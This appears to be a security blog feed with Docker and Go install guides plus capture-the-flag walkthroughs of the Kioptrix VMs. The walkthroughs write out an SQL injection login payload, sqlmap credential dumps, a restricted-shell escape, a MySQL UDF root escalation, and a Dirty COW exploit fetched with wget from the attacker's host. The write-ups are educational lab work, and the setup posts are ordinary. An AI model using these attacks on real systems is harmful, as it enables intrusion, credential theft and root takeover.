Sec-Art

Install docker on Linux (Ubunutu 20 LTS)

noreply@blogger.com (Unknown) — Sat, 21 Nov 2020 17:13:00 +0000

Docker provides the ability to package and run an application in a loosely isolated environment called a container. The isolation and security allow you to run many containers simultaneously on a given host. Containers are lightweight because they don’t need the extra load of a hypervisor, but run directly within the host machine’s kernel.

Docker installation steps :

First update the system

sudo apt update

Install prerequisite packages which let apt use packages over HTTPS

sudo apt install apt-transport-https \
    ca-certificates curl \
    software-properties-common

Add official GPG keys

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
    sudo apt-key add -

Add the docker repository

sudo add-apt-repository \
    "deb [arch=amd64] \
    https://download.docker.com/linux/ubuntu focal stable"

Update newly added repository

sudo apt update

Now installing docker engine

sudo apt-get install docker-ce docker-ce-cli containerd.io

Add the docker daemon to run on startup

sudo systemctl status docker

The output will look like this

Testing the docker engine

sudo docker run hello-world

Output :

Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
0e03bdcc26d7: Pull complete
Digest: sha256:e7c70bb24b462baa86c102610182e3efcb12a04854e8c582838d92970a09f323
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
 1. The Docker client contacted the Docker daemon.
 2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
 3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
 4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
 $ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
 https://hub.docker.com/

For more examples and ideas, visit:
 https://docs.docker.com/get-started/

This command downloads a test image and runs it in a container. When the container runs, it prints an informational message and exits.

Runnning the docker command without `sudo` :

First Add your username into the docker group

sudo usermod -aG docker ${USER}

Now to apply the changes login to the user and confirm that user will be added to the docker group by

su - ${USER}

id -nG

Thats it, now Log-out and re-login then run below command

docker run hello-world

Install GO in UNIX/LINUX Environment

noreply@blogger.com (Unknown) — Tue, 27 Oct 2020 04:15:00 +0000

Go is a statically typed, compiled programming language designed at Google by Robert Griesemer, Rob Pike, and Ken Thompson. Follow the below steps to install it on you Linux/Unix Box :

Download it from https://golang.org/dl/

$ curl -sSL https://golang.org/dl/goX.XX.X.linux-amd64.tar.gz -o goX.XX.X.linux-amd64.tar.gz

replace the X.XX.X with current version.

Extract the downloaded file to /usr/local

$ sudo tar -C /usr/local -xzf goX.XX.X.linux-amd64.tar.gz

Add the path /usr/local/go/bin to the environment variable, and for that just add the below lines to your .bashrc file, which is located on your home directory ~/.bashrc. Add below lines

export GOROOT=/usr/local/go
export GOPATH=$HOME/go
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH

and now you are good to GO {he he !!}. Test the setup with go version

$ go version  
go version go1.15.3 linux/amd64

thats it.

Kioptrix: Level 1.3 (#4) CTF VM WalkThrough

noreply@blogger.com (Unknown) — Thu, 11 Jun 2020 07:36:00 +0000

VM : Kioptrix Level 1.3 (#4)

Download link : https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar

VM HOST : VMware Workstation/Player
Network : Briged mode with DHCP

Scanning Network to identify running vm :

 $ nmap -sP 192.168.1.0/24 

Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-15 08:12 UTC
Nmap scan report for _gateway (192.168.1.1)
Host is up (0.0028s latency).
Nmap scan report for 192.168.1.3
Host is up (0.0021s latency).
Nmap scan report for 192.168.1.6
Host is up (0.076s latency).
Nmap scan report for 192.168.1.8
Host is up (0.0021s latency).
Nmap scan report for 192.168.1.12
Host is up (0.010s latency).
Nmap scan report for avm (192.168.1.14)
Host is up (0.00067s latency).
Nmap scan report for 192.168.1.15
Host is up (0.075s latency).
Nmap scan report for 192.168.1.100
Host is up (0.0024s latency).
Nmap done: 256 IP addresses (8 hosts up) scanned in 3.03 seconds

TargetVM IP : 192.168.1.15

Scanning Target :

 $ nmap -A -Pn 192.168.1.15 -oN nmap.scan
 
 # Nmap 7.60 scan initiated Fri May 15 08:22:12 2020 as: nmap -A -Pn -oN nmap.scan 192.168.1.15
 Nmap scan report for 192.168.1.15
 Host is up (0.017s latency).
 Not shown: 566 closed ports, 430 filtered ports
 PORT    STATE SERVICE     VERSION
 22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
 | ssh-hostkey:
 |   1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
 |_  2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
 80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
 |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
 |_http-title: Site doesn't have a title (text/html).
 139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 445/tcp open  netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
 Host script results:
 |_clock-skew: mean: -24d02h55m48s, deviation: 0s, median: -24d02h55m48s
 |_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
 | smb-os-discovery:
 |   OS: Unix (Samba 3.0.28a)
 |   Computer name: Kioptrix4
 |   NetBIOS computer name:
 |   Domain name: localdomain
 |   FQDN: Kioptrix4.localdomain
 |_  System time: 2020-04-21T01:28:29-04:00
 | smb-security-mode:
 |   account_used: guest
 |   authentication_level: user
 |   challenge_response: supported
 |_  message_signing: disabled (dangerous, but default)
 |_smb2-time: Protocol negotiation failed (SMB2)
 
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 # Nmap done at Fri May 15 08:24:19 2020 -- 1 IP address (1 host up) scanned in 127.09 seconds

Findings : Apache web server is running on port 80, OpenSSH on port 22

Scanning web server with dirb

 $ dirb http://192.168.1.15 | tee dirb.sacn
 
 -----------------
 DIRB v2.22
 By The Dark Raver
 -----------------
 
 START_TIME: Fri May 15 08:40:56 2020
 URL_BASE: http://192.168.1.15/
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
 
 -----------------
 
 GENERATED WORDS: 4612
 
 ---- Scanning URL: http://192.168.1.15/ ----
 + http://192.168.1.15/cgi-bin/ (CODE:403|SIZE:327)                                                      
 ==> DIRECTORY: http://192.168.1.15/images/                                                              
 + http://192.168.1.15/index (CODE:200|SIZE:1255)                                                        
 + http://192.168.1.15/index.php (CODE:200|SIZE:1255)                                                    
 ==> DIRECTORY: http://192.168.1.15/john/                                                                
 + http://192.168.1.15/logout (CODE:302|SIZE:0)                                                          
 + http://192.168.1.15/member (CODE:302|SIZE:220)                                                        
 + http://192.168.1.15/server-status (CODE:403|SIZE:332)                                                 
 
 
 ---- Entering directory: http://192.168.1.15/images/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.
     (Use mode '-w' if you want to scan it anyway)
 
 
 ---- Entering directory: http://192.168.1.15/john/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.
     (Use mode '-w' if you want to scan it anyway)
 
 -----------------
 END_TIME: Fri May 15 08:41:15 2020

Nikto Scan :

 $ nikto -host 192.168.1.15 | tee nikto.scan
 - Nikto v2.1.5
 ---------------------------------------------------------------------------
 + Target IP:          192.168.1.15
 + Target Hostname:    192.168.1.15
 + Target Port:        80
 + Start Time:         2020-05-15 08:44:06 (GMT0)
 ---------------------------------------------------------------------------
 + Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
 + Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
 + The anti-clickjacking X-Frame-Options header is not present.
 + PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.4.4)
 + Apache/2.2.8 appears to be outdated (current is at least Apache/2.2.22). Apache 1.3.42 (final release) and 2.0.64 are also current.
 + DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
 + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
 + OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
 + OSVDB-3268: /icons/: Directory indexing found.
 + OSVDB-3268: /images/: Directory indexing found.
 + OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
 + Server leaks inodes via ETags, header found with file /icons/README, inode: 98933, size: 5108, mtime: 0x438c0358aae80
 + OSVDB-3233: /icons/README: Apache default file found.
 + Cookie PHPSESSID created without the httponly flag
 + 6544 items checked: 0 error(s) and 13 item(s) reported on remote host
 + End Time:           2020-05-15 08:44:46 (GMT0) (40 seconds)
 ---------------------------------------------------------------------------
 + 1 host(s) tested

OS Enumeration with enum4linx :

 $ enum4linux.pl 192.168.1.15 | tee enum4linx.scan
 WARNING: polenum.py is not in your path.  Check that package is installed and your PATH is sane.        
 WARNING: ldapsearch is not in your path.  Check that package is installed and your PATH is sane.        
 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri May 15 09:35:46 2020
 
 
  ==========================                                                                             
 |    Target Information    |                                                                            
  ==========================                                                                             
 Target ........... 192.168.1.15                                                                         
 RID Range ........ 500-550,1000-1050                                                                    
 Username ......... ''                                                                                   
 Password ......... ''                                                                                   
 Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
 ...............
 ...............
 S-1-22-1-1001 Unix User\john (Local User)
 S-1-22-1-1002 Unix User\robert (Local User)
 
  =============================================
 |    Getting printer info for 192.168.1.15    |
  =============================================
 mkdir failed on directory /var/run/samba/msg.lock: Permission denied
 No printers returned.
 enum4linux complete on Fri May 15 09:37:03 2020

filtering user accounts information from above scan

 $ cat enum4linx.scan | grep Account
 index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody   Name: nobody    Desc: (null)
 index: 0x2 RID: 0xbbc acb: 0x00000010 Account: robert   Name: ,,,       Desc: (null)
 index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root     Name: root      Desc: (null)
 index: 0x4 RID: 0xbba acb: 0x00000010 Account: john     Name: ,,,       Desc: (null)
 index: 0x5 RID: 0xbb8 acb: 0x00000010 Account: loneferret       Name: loneferret,,,     Desc: (null)
 S-1-5-32-548 BUILTIN\Account Operators (Local Group)

users found : robert, root, john, loneferret

Scan with dirsearch :

 $ dirsearch.py -u http://192.168.1.15 -e php,asp,aspx,jsp,html,zip,jar,sql --plain-text-report=
 
  _|. _ _  _  _  _ _|_    v0.3.
 (_||| _) (/_(_|| (_| )                                                                                                                                                                                          
 Extensions: php, asp, aspx, jsp, html, zip, jar, sql | HTTP method: get | Threads: 10 | Wordlist size: 8679                                                                                                     
 Error Log: /home/ajay/tools/dirsearch/logs/errors-20-05-15_08-47-32.log                                                                                                                                         
 Target: http://192.168.1.15                                                                                                                                                                                     
 [08:47:32] Starting:
 [08:47:38] 403 -  323B  - /.hta                                                                                         [08:47:38] 403 -  330B  - /.ht_wsr.txt
 .....
 .....
 [08:49:57] 302 -  220B  - /member/login.html  ->  index.php
 [08:49:57] 302 -  220B  - /member/login.jar  ->  index.php
 [08:49:57] 302 -  220B  - /member/login.sql  ->  index.php
 [08:49:57] 302 -  220B  - /member/login.py  ->  index.php
 [08:49:57] 302 -  220B  - /member/login.rb  ->  index.php
 [08:49:57] 302 -  220B  - /member/logon  ->  index.php
 [08:49:57] 302 -  220B  - /member/signin  ->  index.php
 [08:50:31] 403 -  333B  - /server-status/
 [08:50:31] 403 -  332B  - /server-status
 
 Task Completed

Filtering the output

 $ cat dirsearchReport | grep 200
 
 200   109B   http://192.168.1.15:80/checklogin.php
 200   109B   http://192.168.1.15:80/checklogin
 200   298B   http://192.168.1.15:80/database.sql
 200     1KB  http://192.168.1.15:80/index
 200     1KB  http://192.168.1.15:80/index.php
 200     1KB  http://192.168.1.15:80/index.php/login/

There is database.sql on the server with username `john/1234`

The above creds does not work on Member Login page

SQL Vulnerability : By fuzzing inputs of Member Login page, we find that there is an SQL vulnerability on login password field, payload "Name:`john` and password:`' or 1='1 --+` user logged in and auth john/MyNameIsJohn is showed.

Using sqlmap to dump all the data from database :

 $ sqlmap -u "http://192.168.1.15/checklogin.php" --data="myusername=john&mypassword=12345&submit"
 
 
 $ sqlmap -u "http://192.168.1.15/checklogin.php" --data="myusername=john&mypassword=12345&submit=Login" --dbs
 
 sqlmap got a 302 redirect to 'http://192.168.1.15:80/login_success.php?username=john'. Do you want to follow? [Y/n] y
 redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
 [*] information_schema
 [*] members
 [*] mysql
 
 $ sqlmap -u "http://192.168.1.15/checklogin.php" --data="myusername=john&mypassword=12345&submit=Login" --tables -D members
 sqlmap got a 302 redirect to 'http://192.168.1.15:80/login_success.php?username=john'. Do you want to follow? [Y/n] y
 redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
 Database: members
 [1 table]
 +---------+                                                                                             
 | members |
 +---------+
 
 $ sqlmap -u "http://192.168.1.15/checklogin.php" --data="myusername=john&mypassword=12345&submit=Login" --columns -D members -T members
 sqlmap got a 302 redirect to 'http://192.168.1.15:80/login_success.php?username=john'. Do you want to follow? [Y/n] y
 redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
 Database: members
 Table: members
 [3 columns]
 +----------+-------------+                                                                              
 | Column   | Type        |
 +----------+-------------+                                                                              
 | id       | int(4)      |
 | password | varchar(65) |
 | username | varchar(65) |
 +----------+-------------+
 
 
 $ sqlmap -u "http://192.168.1.15/checklogin.php" --data="myusername=john&mypassword=12345&submit=Login" --dump -D members -T members
 sqlmap got a 302 redirect to 'http://192.168.1.15:80/login_success.php?username=john'. Do you want to follow? [Y/n] y
 redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
 [16:12:12] [INFO] retrieved: 1
 [16:12:13] [INFO] retrieved: MyNameIsJohn
 [16:12:25] [INFO] retrieved: john
 [16:12:29] [INFO] retrieved: 2
 [16:12:30] [INFO] retrieved: ADGAdsafdfwt4gadfga==
 [16:12:48] [INFO] retrieved: robert
 Database: members
 Table: members
 [2 entries]
 +----+----------+-----------------------+
 | id | username | password              |
 +----+----------+-----------------------+
 | 1  | john     | MyNameIsJohn          |
 | 2  | robert   | ADGAdsafdfwt4gadfga== |
 +----+----------+-----------------------+

The creds are :

john: MyNameIsJohn
robert:ADGAdsafdfwt4gadfga==

With the above creds we can get access to the ssh server, which gives us a restricted shell.

 $ ssh john@192.168.1.15
 john@192.168.1.15's password:
 Welcome to LigGoat Security Systems - We are Watching
 == Welcome LigGoat Employee ==
 LigGoat Shell is in place so you  don't screw up
 Type '?' or 'help' to get the list of allowed commands
 john:~$
 john:~$ help
 cd  clear  echo  exit  help  ll  lpath  ls

In this shell we can run limited amount of commands, otherwise it gives error messages

 john:~$ ls -al
 total 28
 drwxr-xr-x 2 john john 4096 2012-02-04 18:39 .
 drwxr-xr-x 5 root root 4096 2012-02-04 18:05 ..
 -rw------- 1 john john 1133 2020-04-21 01:08 .bash_history
 -rw-r--r-- 1 john john  220 2012-02-04 18:04 .bash_logout
 -rw-r--r-- 1 john john 2940 2012-02-04 18:04 .bashrc
 -rw-r--r-- 1 john john 3105 2020-04-21 01:08 .lhistory
 -rw-r--r-- 1 john john  586 2012-02-04 18:04 .profile
 john:~$ pwd
 *** unknown command: pwd
 ohn:~$ cat /etc/passwd
 *** unknown command: cat

And if we violate the rules then it kicks us out of shell

 john:~$ cd ..
 *** forbidden path -> "/home/"
 *** You have 0 warning(s) left, before getting kicked out.
 This incident has been reported.
 john:~$ cd ..
 *** forbidden path -> "/home/"
 *** Kicked out
 Connection to 192.168.1.15 closed.

You can read more about restricted shell here : https://www.ibm.com/support/pages/how-use-restricted-shell

Breaking out Restricted Shells :

I tried all methods from these listed posts, but nothing works in this case.

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/
https://www.metahackers.pro/breakout-of-restricted-shell/
https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

But when giving random inputs i get the error for input `echo $)`

 john:~$ echo $)
 /bin/sh: Syntax error: ")" unexpected
 Traceback (most recent call last):
   File "/bin/kshell", line 27, in <module>
     lshell.main()
   File "/usr/lib/python2.5/site-packages/lshell.py", line 1219, in main
     cli.cmdloop()
   File "/usr/lib/python2.5/site-packages/lshell.py", line 410, in cmdloop
     stop = self.onecmd(line)
   File "/usr/lib/python2.5/site-packages/lshell.py", line 531, in onecmd
     func = getattr(self, 'do_' + cmd)
   File "/usr/lib/python2.5/site-packages/lshell.py", line 134, in __getattr__
     if self.check_path(self.g_line) == 1:
   File "/usr/lib/python2.5/site-packages/lshell.py", line 327, in check_path
     item = cout.readlines()[0].split(' ')[0].strip()
 IndexError: list index out of range
 Connection to 192.168.1.15 closed.

which looks like python error message, and its possible that the above shell is a python script or running within python interpreter, and if this is the case then lets try to run a shell inside it

 john:~$ os.system("/bin/sh")
 *** unknown command: os.system("/bin/sh")
 john:~$

It shows error, but by placing any supported command it gives an unrestricted shell

 john:~$ ls os.system("/bin/bash")
 bash-3.2$
 bash-3.2$ pwd
 /home/john
 bash-3.2$

Now try to get a root shell

 bash-3.2$ whoami
 john
 bash-3.2$ sudo su
 [sudo] password for john:
 john is not in the sudoers file.  This incident will be reported.
 bash-3.2$

But john is not on the sudoers list.

Privilege Escalation :

Enumerating the system :

Enumerating the Operating system and kernel version :

 bash-3.2$ cat /etc/issue
 Welcome to LigGoat Security Server
 
 bash-3.2$ cat /etc/lsb-release
 DISTRIB_ID=Ubuntu
 DISTRIB_RELEASE=8.04
 DISTRIB_CODENAME=hardy
 DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
 
 bash-3.2$ uname -a
 Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux

Enumerating linux files for SUID, GUID permission bits :

 // sticky bit permissions
 $ find / -perm -1000 -type d 2>/dev/null
 /var/spool/samba
 /var/spool/cron/atjobs
 /var/spool/cron/atspool
 /var/spool/cron/crontabs
 /var/lib/php5
 /var/lib/samba/usershares
 /var/tmp
 /var/lock
 /dev/shm
 /tmp
 
 // GUID permission
 $ find / -perm -g=s -type f 2>/dev/null
 /usr/bin/wall
 /usr/bin/expiry
 /usr/bin/crontab
 /usr/bin/bsd-write
 /usr/bin/mlocate
 /usr/bin/at
 /usr/bin/chage
 /usr/bin/ssh-agent
 /usr/sbin/uuidd
 /sbin/unix_chkpwd
 
 // SUID permission
 /usr/lib/apache2/suexec
 /usr/lib/eject/dmcrypt-get-device
 /usr/lib/openssh/ssh-keysign
 /usr/lib/pt_chown
 /usr/bin/chsh
 /usr/bin/sudo
 /usr/bin/traceroute6.iputils
 /usr/bin/newgrp
 /usr/bin/sudoedit
 /usr/bin/chfn
 /usr/bin/arping
 /usr/bin/gpasswd
 /usr/bin/mtr
 /usr/bin/passwd
 /usr/bin/at
 /usr/sbin/pppd
 /usr/sbin/uuidd
 /lib/dhcp3-client/call-dhclient-script
 /bin/mount
 /bin/ping6
 /bin/fusermount
 /bin/su
 /bin/ping
 /bin/umount
 /bin/bash
 /sbin/umount.cifs
 /sbin/mount.cifs

There is nothing interesting file found here, if binaries like sudoers, vim, nmap is listed here then we can use them to escalate privilege.

Search for application and services with root privilege :

 bash-3.2$ ps aux | grep root
 
 root      4623  0.0  0.0   1716   488 tty5     Ss+  14:20   0:00 /sbin/getty 38400 tty5
 root      4627  0.0  0.0   1716   488 tty2     Ss+  14:20   0:00 /sbin/getty 38400 tty2
 root      4629  0.0  0.0   1716   484 tty3     Ss+  14:20   0:00 /sbin/getty 38400 tty3
 root      4632  0.0  0.0   1716   488 tty6     Ss+  14:20   0:00 /sbin/getty 38400 tty6
 root      4690  0.0  0.0   1872   544 ?        S    14:20   0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/km
 root      4711  0.0  0.0   5316   984 ?        Ss   14:20   0:00 /usr/sbin/sshd
 root      4767  0.0  0.0   1772   524 ?        S    14:20   0:00 /bin/sh /usr/bin/mysqld_safe
 root      4809  0.0  1.5 126988 16232 ?        Sl   14:20   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/
 root      4811  0.0  0.0   1700   556 ?        S    14:20   0:00 logger -p daemon.err -t mysqld_safe -i -t mysql
 root      4884  0.0  0.1   6528  1328 ?        Ss   14:20   0:00 /usr/sbin/nmbd -D

As we can see the mysqld is running within root privilege, and by enumerating web root directory we can get the creds for login to mysql

 bash-3.2$ cd /var/www
 bash-3.2$ ls
 checklogin.php5database.sql  images  index.php  john  login_success.php  logout.php  member.php  robert
 bash-3.2$ cat checklogin.php | head -n15
 <?php
 ob_start();
 $host="localhost"; // Host name
 $username="root"; // Mysql username
 $password=""; // Mysql password
 $db_name="members"; // Database name
 $tbl_name="members"; // Table name
 
 // Connect to server and select databse.
 mysql_connect("$host", "$username", "$password")or die("cannot connect");
 mysql_select_db("$db_name")or die("cannot select DB");
 
 // Define $myusername and $mypassword
 $myusername=$_POST['myusername'];
 $mypassword=$_POST['mypassword'];
 bash-3.2$

As we can see the username is `root` and password is blank, now try this to login to mysql

 bash-3.2$ mysql -u root -p
 Enter password:
 Welcome to the MySQL monitor.  Commands end with ; or \g.
 Your MySQL connection id is 7
 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
 
 Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
 
 mysql> show databases;
 +--------------------+
 | Database           |
 +--------------------+
 | information_schema |
 | members            |
 | mysql              |
 +--------------------+
 3 rows in set (0.00 sec)
 
 mysql>

Method 1 :

The mysql deamon can running with root privilege can be used to get a root shell

 mysql> use mysql;
 mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
 mysql> select sys_exec('chmod u+s /bin/bash');
 mysql> quit

Now on shell

 bash-3.2$ ls -al /bin/bash
 -rwsr-xr-x 1 root root 702160 2008-05-12 14:33 /bin/bash
 bash-3.2$ bash -p
 bash-3.2# whoami
 root
 cd /root
 bash-3.2# ls
 congrats.txt  lshell-0.9.12
 bash-3.2# cat congrats.txt
 Congratulations!
 You've got root.
 
 There is more then one way to get root on this system. Try and find them.
 I've only tested two (2) methods, but it doesn't mean there aren't more.
 As always there's an easy way, and a not so easy way to pop this box.
 Look for other methods to get root privileges other than running an exploit.
 
 It took a while to make this. For one it's not as easy as it may look, and
 also work and family life are my priorities. Hobbies are low on my list.
 Really hope you enjoyed this one.
 
 If you haven't already, check out the other VMs available on:
 www.kioptrix.com
 
 Thanks for playing,
 loneferret

More more detailed explanation about the above method visit the link : https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux

Method 2 :

The kernel version is 2.6.24, so we can use the kernel exploit (dirty cow vulnerability) to escalate privilege.

Exploit link : https://www.exploit-db.com/exploits/40839

The above exploit creates a new user 'firefart' with root privilege. Also note that the kioptrix1.4 VM does not have gcc compiler, so compole the binary within 32bit architecture, downlaod it on the vm then execute it. Compilation of binary :

 $ gcc -pthread exploit.c -o exploit -lcrypt

Now download it into vm and run it.

 bash-3.2$ cd /tmp
 bash-3.2$ wget http://192.168.1.8:8000/dirty_cow
 bash-3.2$ ./dirty_cow
 /etc/passwd successfully backed up to /tmp/passwd.bak
 Please enter the new password:
 Complete line:
 firefart:fi3LLch28IK7A:0:0:pwned:/root:/bin/bash
 
 mmap: b7f0e000
 madvise 0
 
 ptrace 0
 Done! Check /etc/passwd to see if the new user was created.
 You can log in with the username 'firefart' and the password '12345'.
 
 
 DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
 Done! Check /etc/passwd to see if the new user was created.
 You can log in with the username 'firefart' and the password '12345'.
 
 
 DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

The exploit will asks to setup the password for new user, Now try to get root shell

 bash-3.2$ su firefart
 Password:
 Failed to add entry for user firefart.
 
 firefart@Kioptrix4:/home/john# whoami
 firefart
 firefart@Kioptrix4:/home/john# cd /root
 firefart@Kioptrix4:~# ls
 congrats.txt  lshell-0.9.12
 firefart@Kioptrix4:~# cat congrats.txt
 Congratulations!
 You've got root.
 
 There is more then one way to get root on this system. Try and find them.
 I've only tested two (2) methods, but it doesn't mean there aren't more.
 As always there's an easy way, and a not so easy way to pop this box.
 Look for other methods to get root privileges other than running an exploit.
 
 It took a while to make this. For one it's not as easy as it may look, and
 also work and family life are my priorities. Hobbies are low on my list.
 Really hope you enjoyed this one.
 
 If you haven't already, check out the other VMs available on:
 www.kioptrix.com
 
 Thanks for playing,
 loneferret
 
 firefart@Kioptrix4:~#

Some Usefull privilege escalation techniques :

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://payatu.com/guide-linux-privilege-escalation
https://gtfobins.github.io/
https://www.prodefence.org/beroot-for-linux-privilege-escalation-project/ https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md

Kioptrix: Level 1.2 (#3) CTF VM WalkThrough

noreply@blogger.com (Unknown) — Wed, 10 Jun 2020 18:58:00 +0000

VM : Kioptrix: Level 1.2 (#3)

Download Link : https://download.vulnhub.com/kioptrix/KVM3.rar

VM HOST : VMware Workstation/Player
Network : Briged mode with DHCP

Nmap Scan :

 $ nmap -A 192.168.1.5 -oN nmap.scan
 
 # Nmap 7.80 scan initiated Sun Apr 19 14:08:17 2020 as: nmap -A -oN nmap.scan 192.168.1.5
 Nmap scan report for 192.168.1.5
 Host is up (0.00050s latency).
 Not shown: 998 closed ports
 PORT   STATE SERVICE VERSION
 22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
 | ssh-hostkey:
 |   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
 |_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
 80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
 | http-cookie-flags:
 |   /:
 |     PHPSESSID:
 |_      httponly flag not set
 |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
 |_http-title: Ligoat Security - Got Goat? Security ...
 Device type: general purpose
 Running: Linux 2.6.X
 OS CPE: cpe:/o:linux:linux_kernel:2.6
 OS details: Linux 2.6.8 - 2.6.30
 Network Distance: 2 hops
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
 TRACEROUTE (using port 21/tcp)
 HOP RTT     ADDRESS
 1   0.04 ms 172.17.0.1
 2   0.41 ms 192.168.1.5
 
 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 # Nmap done at Sun Apr 19 14:08:27 2020 -- 1 IP address (1 host up) scanned in 9.80 seconds

Findings :
* The apache web server is running on port 80.
* SSH is running on port 22.

Checking the web app

 $ python urlCroll.py http://kioptrix3.com/
 
 http://kioptrix3.com/index.php?page=index
 http://kioptrix3.com/index.php?system=Blog
 http://kioptrix3.com/index.php?system=Admin
 http://kioptrix3.com//gallery

Link : urlCroll.py

http://kioptrix3.com/index.php?page=index

http://kioptrix3.com/index.php?system=Admin

http://kioptrix3.com/index.php?system=Blog

Also note that the web app is using LotasCMS.

There is also a gallery app, but to access all its content map the IP address of VM to kioptrix3.con by adding it to /etc/hosts file

 $ sudo echo '192.168.1.5     kioptrix3.com' >> /etc/hosts

URL of gallery app is :

 http://kioptrix3.com/gallery

Scanning Web Application :
nikto scan output

 $ nikto -host kioptrix3.com
 
 - Nikto v2.1.5
 ---------------------------------------------------------------------------
 + Target IP:          192.168.1.5
 + Target Hostname:    kioptrix3.com
 + Target Port:        80
 + Start Time:         2020-04-20 18:46:19 (GMT5.5)
 ---------------------------------------------------------------------------
 + Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
 + Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
 + The anti-clickjacking X-Frame-Options header is not present.
 + Cookie PHPSESSID created without the httponly flag
 + No CGI Directories found (use '-C all' to force check all possible dirs)
 + Server leaks inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: 0x46b9ece7ac600
 + Apache/2.2.8 appears to be outdated (current is at least Apache/2.2.22). Apache 1.3.42 (final release) and 2.0.64 are also current.
 + PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.4.4)
 + DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
 + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
 + OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
 + OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
 + OSVDB-3268: /icons/: Directory indexing found.
 + Cookie phpMyAdmin created without the httponly flag
 + OSVDB-3233: /icons/README: Apache default file found.
 + /phpmyadmin/: phpMyAdmin directory found
 + 6544 items checked: 0 error(s) and 14 item(s) reported on remote host
